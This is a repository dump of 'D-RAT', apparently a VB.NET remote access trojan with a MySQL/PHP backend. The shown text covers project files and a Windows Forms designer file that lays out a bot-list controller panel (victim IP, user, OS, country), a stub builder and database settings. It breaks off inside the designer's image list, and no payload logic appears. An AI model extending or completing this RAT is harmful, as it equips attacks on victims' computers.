├── .gitattributes ├── .github └── workflows │ └── dotnet-core.yml ├── D-RAT.sln ├── D-RAT.suo ├── D-RAT.vshost.exe ├── D-RAT.vshost.exe.manifest ├── D-RAT ├── 20140717090121535_easyicon_net_128.ico ├── D-RAT.vbproj ├── D-RAT.vbproj.user ├── Form1.Designer.vb ├── Form1.resx ├── Form1.vb ├── Functions.vb ├── Module1.vb ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings ├── Resources │ ├── DB.txt │ └── PHP_Page.txt ├── Socket.vb └── obj │ └── x86 │ └── Debug │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── TempPE │ └── My Project.Resources.Designer.vb.dll ├── D-STUB ├── App.config ├── D-STUB.vbproj ├── Form1.designer.vb ├── Form1.resx ├── Form1.vb ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings └── obj │ └── x86 │ └── Debug │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── TempPE │ └── My Project.Resources.Designer.vb.dll ├── Mono.Cecil.dll ├── MySql.Data.dll ├── README.md └── user.config /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.github/workflows/dotnet-core.yml: -------------------------------------------------------------------------------- 1 | name: .NET Core 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | branches: [ master ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v2 16 | - name: Setup .NET Core 17 | uses: actions/setup-dotnet@v1 18 | with: 19 | dotnet-version: 3.1.101 20 | - name: Install dependencies 21 | run: dotnet restore 22 | - name: Build 23 | run: dotnet build --configuration Release --no-restore 24 | - name: Test 25 | run: dotnet test --no-restore --verbosity normal 26 | -------------------------------------------------------------------------------- /D-RAT.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "D-RAT", "D-RAT\D-RAT.vbproj", "{CF707D66-1211-43B5-9B63-DEE272DA071F}" 5 | EndProject 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "D-STUB", "D-STUB\D-STUB.vbproj", "{0A364557-81E3-42AE-A390-05FB4FE6D2F8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x86 = Debug|x86 11 | Release|x86 = Release|x86 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {CF707D66-1211-43B5-9B63-DEE272DA071F}.Debug|x86.ActiveCfg = Debug|x86 15 | {CF707D66-1211-43B5-9B63-DEE272DA071F}.Debug|x86.Build.0 = Debug|x86 16 | {CF707D66-1211-43B5-9B63-DEE272DA071F}.Release|x86.ActiveCfg = Release|x86 17 | {CF707D66-1211-43B5-9B63-DEE272DA071F}.Release|x86.Build.0 = Release|x86 18 | {0A364557-81E3-42AE-A390-05FB4FE6D2F8}.Debug|x86.ActiveCfg = Debug|x86 19 | {0A364557-81E3-42AE-A390-05FB4FE6D2F8}.Debug|x86.Build.0 = Debug|x86 20 | {0A364557-81E3-42AE-A390-05FB4FE6D2F8}.Release|x86.ActiveCfg = Release|x86 21 | {0A364557-81E3-42AE-A390-05FB4FE6D2F8}.Release|x86.Build.0 = Release|x86 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /D-RAT.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT.suo -------------------------------------------------------------------------------- /D-RAT.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT.vshost.exe -------------------------------------------------------------------------------- /D-RAT.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /D-RAT/20140717090121535_easyicon_net_128.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT/20140717090121535_easyicon_net_128.ico -------------------------------------------------------------------------------- /D-RAT/D-RAT.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 7 | 8 | 2.0 9 | {CF707D66-1211-43B5-9B63-DEE272DA071F} 10 | WinExe 11 | D_RAT.My.MyApplication 12 | D_RAT 13 | D-RAT 14 | 512 15 | WindowsForms 16 | v2.0 17 | 18 | 19 | x86 20 | true 21 | full 22 | true 23 | true 24 | ..\ 25 | D-RAT.xml 26 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 27 | 28 | 29 | x86 30 | pdbonly 31 | false 32 | true 33 | true 34 | bin\Release\ 35 | D-RAT.xml 36 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 37 | 38 | 39 | On 40 | 41 | 42 | Binary 43 | 44 | 45 | Off 46 | 47 | 48 | On 49 | 50 | 51 | 20140717090121535_easyicon_net_128.ico 52 | 53 | 54 | 55 | ..\..\D-RAT v0.1\Mono.Cecil.dll 56 | 57 | 58 | ..\..\D-RAT v0.1\MySql.Data.dll 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | Form 80 | 81 | 82 | Form1.vb 83 | Form 84 | 85 | 86 | 87 | 88 | 89 | True 90 | Application.myapp 91 | 92 | 93 | True 94 | True 95 | Resources.resx 96 | 97 | 98 | True 99 | Settings.settings 100 | True 101 | 102 | 103 | 104 | 105 | 106 | Form1.vb 107 | 108 | 109 | VbMyResourcesResXFileCodeGenerator 110 | Resources.Designer.vb 111 | My.Resources 112 | Designer 113 | 114 | 115 | 116 | 117 | MyApplicationCodeGenerator 118 | Application.Designer.vb 119 | 120 | 121 | SettingsSingleFileGenerator 122 | My 123 | Settings.Designer.vb 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 143 | -------------------------------------------------------------------------------- /D-RAT/D-RAT.vbproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /D-RAT/Form1.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Form1 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) 27 | Me.TabControl1 = New System.Windows.Forms.TabControl() 28 | Me.TabPage1 = New System.Windows.Forms.TabPage() 29 | Me.BOTLIST = New System.Windows.Forms.ListView() 30 | Me.ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 31 | Me.ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 32 | Me.ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 33 | Me.ColumnHeader4 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 34 | Me.ColumnHeader5 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 35 | Me.ContextMenuStrip1 = New System.Windows.Forms.ContextMenuStrip(Me.components) 36 | Me.SendMessageToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() 37 | Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator() 38 | Me.DisconnectToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() 39 | Me.ImageList1 = New System.Windows.Forms.ImageList(Me.components) 40 | Me.StatusStrip1 = New System.Windows.Forms.StatusStrip() 41 | Me.infot = New System.Windows.Forms.ToolStripStatusLabel() 42 | Me.TabPage2 = New System.Windows.Forms.TabPage() 43 | Me.GroupBox4 = New System.Windows.Forms.GroupBox() 44 | Me.Button4 = New System.Windows.Forms.Button() 45 | Me.EIP = New System.Windows.Forms.Label() 46 | Me.Label13 = New System.Windows.Forms.Label() 47 | Me.LIP = New System.Windows.Forms.Label() 48 | Me.Label10 = New System.Windows.Forms.Label() 49 | Me.GroupBox3 = New System.Windows.Forms.GroupBox() 50 | Me.Label9 = New System.Windows.Forms.Label() 51 | Me.Button3 = New System.Windows.Forms.Button() 52 | Me.Button2 = New System.Windows.Forms.Button() 53 | Me.Button1 = New System.Windows.Forms.Button() 54 | Me.DBT = New System.Windows.Forms.TextBox() 55 | Me.Label8 = New System.Windows.Forms.Label() 56 | Me.PT = New System.Windows.Forms.TextBox() 57 | Me.Label7 = New System.Windows.Forms.Label() 58 | Me.UT = New System.Windows.Forms.TextBox() 59 | Me.Label6 = New System.Windows.Forms.Label() 60 | Me.HT = New System.Windows.Forms.TextBox() 61 | Me.Label5 = New System.Windows.Forms.Label() 62 | Me.GroupBox2 = New System.Windows.Forms.GroupBox() 63 | Me.BUILDBTN = New System.Windows.Forms.Button() 64 | Me.EXETB = New System.Windows.Forms.TextBox() 65 | Me.VNTB = New System.Windows.Forms.TextBox() 66 | Me.URLTB = New System.Windows.Forms.TextBox() 67 | Me.Label4 = New System.Windows.Forms.Label() 68 | Me.Label3 = New System.Windows.Forms.Label() 69 | Me.Label2 = New System.Windows.Forms.Label() 70 | Me.GroupBox1 = New System.Windows.Forms.GroupBox() 71 | Me.STOBTN = New System.Windows.Forms.Button() 72 | Me.STBTN = New System.Windows.Forms.Button() 73 | Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() 74 | Me.Label1 = New System.Windows.Forms.Label() 75 | Me.TabPage3 = New System.Windows.Forms.TabPage() 76 | Me.Label11 = New System.Windows.Forms.Label() 77 | Me.PictureBox1 = New System.Windows.Forms.PictureBox() 78 | Me.Timer1 = New System.Windows.Forms.Timer(Me.components) 79 | Me.IP_Checker = New System.ComponentModel.BackgroundWorker() 80 | Me.TabControl1.SuspendLayout() 81 | Me.TabPage1.SuspendLayout() 82 | Me.ContextMenuStrip1.SuspendLayout() 83 | Me.StatusStrip1.SuspendLayout() 84 | Me.TabPage2.SuspendLayout() 85 | Me.GroupBox4.SuspendLayout() 86 | Me.GroupBox3.SuspendLayout() 87 | Me.GroupBox2.SuspendLayout() 88 | Me.GroupBox1.SuspendLayout() 89 | CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() 90 | Me.TabPage3.SuspendLayout() 91 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() 92 | Me.SuspendLayout() 93 | ' 94 | 'TabControl1 95 | ' 96 | Me.TabControl1.Controls.Add(Me.TabPage1) 97 | Me.TabControl1.Controls.Add(Me.TabPage2) 98 | Me.TabControl1.Controls.Add(Me.TabPage3) 99 | Me.TabControl1.Dock = System.Windows.Forms.DockStyle.Fill 100 | Me.TabControl1.Location = New System.Drawing.Point(0, 0) 101 | Me.TabControl1.Name = "TabControl1" 102 | Me.TabControl1.SelectedIndex = 0 103 | Me.TabControl1.Size = New System.Drawing.Size(495, 278) 104 | Me.TabControl1.TabIndex = 0 105 | ' 106 | 'TabPage1 107 | ' 108 | Me.TabPage1.Controls.Add(Me.BOTLIST) 109 | Me.TabPage1.Controls.Add(Me.StatusStrip1) 110 | Me.TabPage1.Location = New System.Drawing.Point(4, 22) 111 | Me.TabPage1.Name = "TabPage1" 112 | Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) 113 | Me.TabPage1.Size = New System.Drawing.Size(487, 252) 114 | Me.TabPage1.TabIndex = 0 115 | Me.TabPage1.Text = "Bot List" 116 | Me.TabPage1.UseVisualStyleBackColor = True 117 | ' 118 | 'BOTLIST 119 | ' 120 | Me.BOTLIST.BorderStyle = System.Windows.Forms.BorderStyle.None 121 | Me.BOTLIST.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.ColumnHeader1, Me.ColumnHeader2, Me.ColumnHeader3, Me.ColumnHeader4, Me.ColumnHeader5}) 122 | Me.BOTLIST.ContextMenuStrip = Me.ContextMenuStrip1 123 | Me.BOTLIST.Dock = System.Windows.Forms.DockStyle.Fill 124 | Me.BOTLIST.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable 125 | Me.BOTLIST.LargeImageList = Me.ImageList1 126 | Me.BOTLIST.Location = New System.Drawing.Point(3, 3) 127 | Me.BOTLIST.Name = "BOTLIST" 128 | Me.BOTLIST.Size = New System.Drawing.Size(481, 224) 129 | Me.BOTLIST.SmallImageList = Me.ImageList1 130 | Me.BOTLIST.TabIndex = 1 131 | Me.BOTLIST.UseCompatibleStateImageBehavior = False 132 | Me.BOTLIST.View = System.Windows.Forms.View.Details 133 | ' 134 | 'ColumnHeader1 135 | ' 136 | Me.ColumnHeader1.Text = "# ID #" 137 | Me.ColumnHeader1.Width = 84 138 | ' 139 | 'ColumnHeader2 140 | ' 141 | Me.ColumnHeader2.Text = "# IP #" 142 | Me.ColumnHeader2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 143 | Me.ColumnHeader2.Width = 84 144 | ' 145 | 'ColumnHeader3 146 | ' 147 | Me.ColumnHeader3.Text = "# User #" 148 | Me.ColumnHeader3.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 149 | Me.ColumnHeader3.Width = 111 150 | ' 151 | 'ColumnHeader4 152 | ' 153 | Me.ColumnHeader4.Text = "# OS #" 154 | Me.ColumnHeader4.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 155 | Me.ColumnHeader4.Width = 119 156 | ' 157 | 'ColumnHeader5 158 | ' 159 | Me.ColumnHeader5.Text = "# Country #" 160 | Me.ColumnHeader5.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 161 | Me.ColumnHeader5.Width = 83 162 | ' 163 | 'ContextMenuStrip1 164 | ' 165 | Me.ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.SendMessageToolStripMenuItem, Me.ToolStripSeparator1, Me.DisconnectToolStripMenuItem}) 166 | Me.ContextMenuStrip1.Name = "ContextMenuStrip1" 167 | Me.ContextMenuStrip1.ShowImageMargin = False 168 | Me.ContextMenuStrip1.Size = New System.Drawing.Size(125, 54) 169 | ' 170 | 'SendMessageToolStripMenuItem 171 | ' 172 | Me.SendMessageToolStripMenuItem.Name = "SendMessageToolStripMenuItem" 173 | Me.SendMessageToolStripMenuItem.Size = New System.Drawing.Size(124, 22) 174 | Me.SendMessageToolStripMenuItem.Text = "Send Message" 175 | ' 176 | 'ToolStripSeparator1 177 | ' 178 | Me.ToolStripSeparator1.Name = "ToolStripSeparator1" 179 | Me.ToolStripSeparator1.Size = New System.Drawing.Size(121, 6) 180 | ' 181 | 'DisconnectToolStripMenuItem 182 | ' 183 | Me.DisconnectToolStripMenuItem.Name = "DisconnectToolStripMenuItem" 184 | Me.DisconnectToolStripMenuItem.Size = New System.Drawing.Size(124, 22) 185 | Me.DisconnectToolStripMenuItem.Text = "Disconnect" 186 | ' 187 | 'ImageList1 188 | ' 189 | Me.ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer) 190 | Me.ImageList1.TransparentColor = System.Drawing.Color.Transparent 191 | Me.ImageList1.Images.SetKeyName(0, "0.gif") 192 | Me.ImageList1.Images.SetKeyName(1, "1.gif") 193 | Me.ImageList1.Images.SetKeyName(2, "2.gif") 194 | Me.ImageList1.Images.SetKeyName(3, "3.gif") 195 | Me.ImageList1.Images.SetKeyName(4, "4.gif") 196 | Me.ImageList1.Images.SetKeyName(5, "5.gif") 197 | Me.ImageList1.Images.SetKeyName(6, "6.gif") 198 | Me.ImageList1.Images.SetKeyName(7, "7.gif") 199 | Me.ImageList1.Images.SetKeyName(8, "8.gif") 200 | Me.ImageList1.Images.SetKeyName(9, "9.gif") 201 | Me.ImageList1.Images.SetKeyName(10, "10.gif") 202 | Me.ImageList1.Images.SetKeyName(11, "11.gif") 203 | Me.ImageList1.Images.SetKeyName(12, "12.gif") 204 | Me.ImageList1.Images.SetKeyName(13, "13.gif") 205 | Me.ImageList1.Images.SetKeyName(14, "14.gif") 206 | Me.ImageList1.Images.SetKeyName(15, "15.gif") 207 | Me.ImageList1.Images.SetKeyName(16, "16.gif") 208 | Me.ImageList1.Images.SetKeyName(17, "17.gif") 209 | Me.ImageList1.Images.SetKeyName(18, "18.gif") 210 | Me.ImageList1.Images.SetKeyName(19, "19.gif") 211 | Me.ImageList1.Images.SetKeyName(20, "20.gif") 212 | Me.ImageList1.Images.SetKeyName(21, "21.gif") 213 | Me.ImageList1.Images.SetKeyName(22, "22.gif") 214 | Me.ImageList1.Images.SetKeyName(23, "23.gif") 215 | Me.ImageList1.Images.SetKeyName(24, "24.gif") 216 | Me.ImageList1.Images.SetKeyName(25, "25.gif") 217 | Me.ImageList1.Images.SetKeyName(26, "26.gif") 218 | Me.ImageList1.Images.SetKeyName(27, "27.gif") 219 | Me.ImageList1.Images.SetKeyName(28, "28.gif") 220 | Me.ImageList1.Images.SetKeyName(29, "29.gif") 221 | Me.ImageList1.Images.SetKeyName(30, "30.gif") 222 | Me.ImageList1.Images.SetKeyName(31, "31.gif") 223 | Me.ImageList1.Images.SetKeyName(32, "32.gif") 224 | Me.ImageList1.Images.SetKeyName(33, "33.gif") 225 | Me.ImageList1.Images.SetKeyName(34, "34.gif") 226 | Me.ImageList1.Images.SetKeyName(35, "35.gif") 227 | Me.ImageList1.Images.SetKeyName(36, "36.gif") 228 | Me.ImageList1.Images.SetKeyName(37, "37.gif") 229 | Me.ImageList1.Images.SetKeyName(38, "38.gif") 230 | Me.ImageList1.Images.SetKeyName(39, "39.gif") 231 | Me.ImageList1.Images.SetKeyName(40, "40.gif") 232 | Me.ImageList1.Images.SetKeyName(41, "41.gif") 233 | Me.ImageList1.Images.SetKeyName(42, "42.gif") 234 | Me.ImageList1.Images.SetKeyName(43, "43.gif") 235 | Me.ImageList1.Images.SetKeyName(44, "44.gif") 236 | Me.ImageList1.Images.SetKeyName(45, "45.gif") 237 | Me.ImageList1.Images.SetKeyName(46, "46.gif") 238 | Me.ImageList1.Images.SetKeyName(47, "47.gif") 239 | Me.ImageList1.Images.SetKeyName(48, "48.gif") 240 | Me.ImageList1.Images.SetKeyName(49, "49.gif") 241 | Me.ImageList1.Images.SetKeyName(50, "50.gif") 242 | Me.ImageList1.Images.SetKeyName(51, "51.gif") 243 | Me.ImageList1.Images.SetKeyName(52, "52.gif") 244 | Me.ImageList1.Images.SetKeyName(53, "53.gif") 245 | Me.ImageList1.Images.SetKeyName(54, "54.gif") 246 | Me.ImageList1.Images.SetKeyName(55, "55.gif") 247 | Me.ImageList1.Images.SetKeyName(56, "56.gif") 248 | Me.ImageList1.Images.SetKeyName(57, "57.gif") 249 | Me.ImageList1.Images.SetKeyName(58, "58.gif") 250 | Me.ImageList1.Images.SetKeyName(59, "59.gif") 251 | Me.ImageList1.Images.SetKeyName(60, "60.gif") 252 | Me.ImageList1.Images.SetKeyName(61, "61.gif") 253 | Me.ImageList1.Images.SetKeyName(62, "62.gif") 254 | Me.ImageList1.Images.SetKeyName(63, "63.gif") 255 | Me.ImageList1.Images.SetKeyName(64, "64.gif") 256 | Me.ImageList1.Images.SetKeyName(65, "65.gif") 257 | Me.ImageList1.Images.SetKeyName(66, "66.gif") 258 | Me.ImageList1.Images.SetKeyName(67, "67.gif") 259 | Me.ImageList1.Images.SetKeyName(68, "68.gif") 260 | Me.ImageList1.Images.SetKeyName(69, "69.gif") 261 | Me.ImageList1.Images.SetKeyName(70, "70.gif") 262 | Me.ImageList1.Images.SetKeyName(71, "71.gif") 263 | Me.ImageList1.Images.SetKeyName(72, "72.gif") 264 | Me.ImageList1.Images.SetKeyName(73, "73.gif") 265 | Me.ImageList1.Images.SetKeyName(74, "74.gif") 266 | Me.ImageList1.Images.SetKeyName(75, "75.gif") 267 | Me.ImageList1.Images.SetKeyName(76, "76.gif") 268 | Me.ImageList1.Images.SetKeyName(77, "77.gif") 269 | Me.ImageList1.Images.SetKeyName(78, "78.gif") 270 | Me.ImageList1.Images.SetKeyName(79, "79.gif") 271 | Me.ImageList1.Images.SetKeyName(80, "80.gif") 272 | Me.ImageList1.Images.SetKeyName(81, "81.gif") 273 | Me.ImageList1.Images.SetKeyName(82, "82.gif") 274 | Me.ImageList1.Images.SetKeyName(83, "83.gif") 275 | Me.ImageList1.Images.SetKeyName(84, "84.gif") 276 | Me.ImageList1.Images.SetKeyName(85, "85.gif") 277 | Me.ImageList1.Images.SetKeyName(86, "86.gif") 278 | Me.ImageList1.Images.SetKeyName(87, "87.gif") 279 | Me.ImageList1.Images.SetKeyName(88, "88.gif") 280 | Me.ImageList1.Images.SetKeyName(89, "89.gif") 281 | Me.ImageList1.Images.SetKeyName(90, "90.gif") 282 | Me.ImageList1.Images.SetKeyName(91, "91.gif") 283 | Me.ImageList1.Images.SetKeyName(92, "92.gif") 284 | Me.ImageList1.Images.SetKeyName(93, "93.gif") 285 | Me.ImageList1.Images.SetKeyName(94, "94.gif") 286 | Me.ImageList1.Images.SetKeyName(95, "95.gif") 287 | Me.ImageList1.Images.SetKeyName(96, "96.gif") 288 | Me.ImageList1.Images.SetKeyName(97, "97.gif") 289 | Me.ImageList1.Images.SetKeyName(98, "98.gif") 290 | Me.ImageList1.Images.SetKeyName(99, "99.gif") 291 | Me.ImageList1.Images.SetKeyName(100, "100.gif") 292 | Me.ImageList1.Images.SetKeyName(101, "101.gif") 293 | Me.ImageList1.Images.SetKeyName(102, "102.gif") 294 | Me.ImageList1.Images.SetKeyName(103, "103.gif") 295 | Me.ImageList1.Images.SetKeyName(104, "104.gif") 296 | Me.ImageList1.Images.SetKeyName(105, "105.gif") 297 | Me.ImageList1.Images.SetKeyName(106, "106.gif") 298 | Me.ImageList1.Images.SetKeyName(107, "107.gif") 299 | Me.ImageList1.Images.SetKeyName(108, "108.gif") 300 | Me.ImageList1.Images.SetKeyName(109, "109.gif") 301 | Me.ImageList1.Images.SetKeyName(110, "110.gif") 302 | Me.ImageList1.Images.SetKeyName(111, "111.gif") 303 | Me.ImageList1.Images.SetKeyName(112, "112.gif") 304 | Me.ImageList1.Images.SetKeyName(113, "113.gif") 305 | Me.ImageList1.Images.SetKeyName(114, "114.gif") 306 | Me.ImageList1.Images.SetKeyName(115, "115.gif") 307 | Me.ImageList1.Images.SetKeyName(116, "116.gif") 308 | Me.ImageList1.Images.SetKeyName(117, "117.gif") 309 | Me.ImageList1.Images.SetKeyName(118, "118.gif") 310 | Me.ImageList1.Images.SetKeyName(119, "119.gif") 311 | Me.ImageList1.Images.SetKeyName(120, "120.gif") 312 | Me.ImageList1.Images.SetKeyName(121, "121.gif") 313 | Me.ImageList1.Images.SetKeyName(122, "122.gif") 314 | Me.ImageList1.Images.SetKeyName(123, "123.gif") 315 | Me.ImageList1.Images.SetKeyName(124, "124.gif") 316 | Me.ImageList1.Images.SetKeyName(125, "125.gif") 317 | Me.ImageList1.Images.SetKeyName(126, "126.gif") 318 | Me.ImageList1.Images.SetKeyName(127, "127.gif") 319 | Me.ImageList1.Images.SetKeyName(128, "128.gif") 320 | Me.ImageList1.Images.SetKeyName(129, "129.gif") 321 | Me.ImageList1.Images.SetKeyName(130, "130.gif") 322 | Me.ImageList1.Images.SetKeyName(131, "131.gif") 323 | Me.ImageList1.Images.SetKeyName(132, "132.gif") 324 | Me.ImageList1.Images.SetKeyName(133, "133.gif") 325 | Me.ImageList1.Images.SetKeyName(134, "134.gif") 326 | Me.ImageList1.Images.SetKeyName(135, "135.gif") 327 | Me.ImageList1.Images.SetKeyName(136, "136.gif") 328 | Me.ImageList1.Images.SetKeyName(137, "137.gif") 329 | Me.ImageList1.Images.SetKeyName(138, "138.gif") 330 | Me.ImageList1.Images.SetKeyName(139, "139.gif") 331 | Me.ImageList1.Images.SetKeyName(140, "140.gif") 332 | Me.ImageList1.Images.SetKeyName(141, "141.gif") 333 | Me.ImageList1.Images.SetKeyName(142, "142.gif") 334 | Me.ImageList1.Images.SetKeyName(143, "143.gif") 335 | Me.ImageList1.Images.SetKeyName(144, "144.gif") 336 | Me.ImageList1.Images.SetKeyName(145, "145.gif") 337 | Me.ImageList1.Images.SetKeyName(146, "146.gif") 338 | Me.ImageList1.Images.SetKeyName(147, "147.gif") 339 | Me.ImageList1.Images.SetKeyName(148, "148.gif") 340 | Me.ImageList1.Images.SetKeyName(149, "149.gif") 341 | Me.ImageList1.Images.SetKeyName(150, "150.gif") 342 | Me.ImageList1.Images.SetKeyName(151, "151.gif") 343 | Me.ImageList1.Images.SetKeyName(152, "152.gif") 344 | Me.ImageList1.Images.SetKeyName(153, "153.gif") 345 | Me.ImageList1.Images.SetKeyName(154, "154.gif") 346 | Me.ImageList1.Images.SetKeyName(155, "155.gif") 347 | Me.ImageList1.Images.SetKeyName(156, "156.gif") 348 | Me.ImageList1.Images.SetKeyName(157, "157.gif") 349 | Me.ImageList1.Images.SetKeyName(158, "158.gif") 350 | Me.ImageList1.Images.SetKeyName(159, "159.gif") 351 | Me.ImageList1.Images.SetKeyName(160, "160.gif") 352 | Me.ImageList1.Images.SetKeyName(161, "161.gif") 353 | Me.ImageList1.Images.SetKeyName(162, "162.gif") 354 | Me.ImageList1.Images.SetKeyName(163, "163.gif") 355 | Me.ImageList1.Images.SetKeyName(164, "164.gif") 356 | Me.ImageList1.Images.SetKeyName(165, "165.gif") 357 | Me.ImageList1.Images.SetKeyName(166, "166.gif") 358 | Me.ImageList1.Images.SetKeyName(167, "167.gif") 359 | Me.ImageList1.Images.SetKeyName(168, "168.gif") 360 | Me.ImageList1.Images.SetKeyName(169, "169.gif") 361 | Me.ImageList1.Images.SetKeyName(170, "170.gif") 362 | Me.ImageList1.Images.SetKeyName(171, "171.gif") 363 | Me.ImageList1.Images.SetKeyName(172, "172.gif") 364 | Me.ImageList1.Images.SetKeyName(173, "173.gif") 365 | Me.ImageList1.Images.SetKeyName(174, "174.gif") 366 | Me.ImageList1.Images.SetKeyName(175, "175.gif") 367 | Me.ImageList1.Images.SetKeyName(176, "176.gif") 368 | Me.ImageList1.Images.SetKeyName(177, "177.gif") 369 | Me.ImageList1.Images.SetKeyName(178, "178.gif") 370 | Me.ImageList1.Images.SetKeyName(179, "179.gif") 371 | Me.ImageList1.Images.SetKeyName(180, "180.gif") 372 | Me.ImageList1.Images.SetKeyName(181, "181.gif") 373 | Me.ImageList1.Images.SetKeyName(182, "182.gif") 374 | Me.ImageList1.Images.SetKeyName(183, "183.gif") 375 | Me.ImageList1.Images.SetKeyName(184, "184.gif") 376 | Me.ImageList1.Images.SetKeyName(185, "185.gif") 377 | Me.ImageList1.Images.SetKeyName(186, "186.gif") 378 | Me.ImageList1.Images.SetKeyName(187, "187.gif") 379 | Me.ImageList1.Images.SetKeyName(188, "188.gif") 380 | Me.ImageList1.Images.SetKeyName(189, "189.gif") 381 | Me.ImageList1.Images.SetKeyName(190, "190.gif") 382 | Me.ImageList1.Images.SetKeyName(191, "191.gif") 383 | Me.ImageList1.Images.SetKeyName(192, "192.gif") 384 | Me.ImageList1.Images.SetKeyName(193, "193.gif") 385 | Me.ImageList1.Images.SetKeyName(194, "194.gif") 386 | Me.ImageList1.Images.SetKeyName(195, "195.gif") 387 | Me.ImageList1.Images.SetKeyName(196, "196.gif") 388 | Me.ImageList1.Images.SetKeyName(197, "197.gif") 389 | Me.ImageList1.Images.SetKeyName(198, "198.gif") 390 | Me.ImageList1.Images.SetKeyName(199, "199.gif") 391 | Me.ImageList1.Images.SetKeyName(200, "200.gif") 392 | Me.ImageList1.Images.SetKeyName(201, "201.gif") 393 | Me.ImageList1.Images.SetKeyName(202, "202.gif") 394 | Me.ImageList1.Images.SetKeyName(203, "203.gif") 395 | Me.ImageList1.Images.SetKeyName(204, "204.gif") 396 | Me.ImageList1.Images.SetKeyName(205, "205.gif") 397 | Me.ImageList1.Images.SetKeyName(206, "206.gif") 398 | 